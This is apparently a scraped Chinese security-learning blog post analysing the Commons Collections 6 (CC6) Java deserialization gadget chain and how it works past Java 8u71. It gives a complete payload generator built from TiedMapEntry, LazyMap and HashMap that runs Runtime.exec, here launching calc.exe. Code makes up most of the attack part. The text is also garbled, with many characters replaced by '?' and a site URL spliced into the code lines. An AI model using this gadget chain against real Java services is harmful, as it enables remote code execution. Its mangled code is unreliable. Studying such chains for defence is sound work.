前言之前三篇详细分析了CommonsCollections1
利用链,两种方法 , LazyMap
以及TransformedMap
,但是在Javaa 8u71
以后,这个利?链不能再利?了 , 主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑变化了
在ysoserial中,CC6解决了高版本不能利用的问题 。接下来就来看看
分析ysoserial中的代码过于复杂,所以来看这条简化版利?链:
/* Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashMap.readObject()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()*/
关注点主要是从最开始到org.apache.commons.collections.map.LazyMap.get()
,因为 LazyMap#get
后?的部分和CC1相同 。所以简单来说,解决Java?版本利?问题,实际上就是在高版本中找上下?中是否还有其他调?LazyMap#get()
的地? 。
找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue
?法中调?了 this.map.get
,?其hashCode
?法调?了getValue
?法
import org.apache.commons.collections.KeyValue;public class TiedMapEntry implements Entry, KeyValue, Serializable {private static final long serialVersionUID = -8453869361373831205L;private final Map map;private final Object key;public TiedMapEntry(Map map, Object key) {this.map = map;this.key = key; }public Object getKey() {return this.key; }public Object getValue() {return this.map.get(this.key); } // ...public int hashCode() {Object value = https://www.huyubaike.com/biancheng/this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 :value.hashCode()); } // ...}
所以,欲触发LazyMap利?链,要找到就是哪?调?了TiedMapEntry#hashCode
在 java.util.HashMap#readObject
中就可以找到 HashMap#hash()
的调?
public class HashMap<K,V> extends AbstractMap<K,V>implements Map<K,V>, Cloneable, Serializable {// ...static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}//...private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();//...for (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = https://www.huyubaike.com/biancheng/(V) s.readObject();putVal(hash(key), key, value, false, false);}}}
在HashMap的readObject?法中,调?到了hash(key)
,?hash?法中,调?到了 key.hashCode()
。所以,我们只需要让这个key等于TiedMapEntry
对象 , 即可连接上前?的分析过程,构成?个完整的Gadget
构造?先,构造恶意LazyMap
:
Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] { String.class,Class[].class },newObject[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke",new Class[] { Object.class Object[].class },newObject[] { null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class },new String[] { "calc.exe" }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);
为了避免本地调试时触发命令执 ?,在构造LazyMap的时候先??个?畜?害的 fakeTransformers
对象,等最后要?成Payload的时候,再把真正的 transformers
替换进去 。
将上面的transformer包装成恶意LazyMap对象outerMap
, 将其作为TiedMapEntry
的map属性 。
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
接着,为了调? TiedMapEntry#hashCode()
,我们需要将tme
对象作为 HashMap的?个key 。注意 , 这?我们需要新建?个HashMap,?不是?之前LazyMap利?链?的那个HashMap,两者没任何关系 。
Map expMap = new HashMap();expMap.put(tme, "valuevalue");
最后 , 可以将这个expMap
作为对象来序列化了,不过,别忘了将真正的transformers
数组设置进来
整体Payload
如下:
public class CC6 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] iTransformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chain, iTransformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);//本地测试ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}
推荐阅读
- MySQL数据库的性能分析 ---图书《软件性能测试分析与调优实践之路》-手稿节选
- 如何通过Java导出带格式的 Excel 数据到 Word 表格
- 支持JDK19虚拟线程的web框架之四:看源码,了解quarkus如何支持虚拟线程
- vulnhub靶场之DRIPPING BLUES: 1
- 明日之后联盟狙击步枪怎么获取
- 硬核剖析Java锁底层AQS源码,深入理解底层架构设计
- 定位java程序中占用cpu最高的线程堆栈信息
- SpringCloudAlibaba 微服务组件 Nacos 之配置中心源码深度解析
- Java8新特性—四大内置函数式接口
- 2 java安全之CC1浅学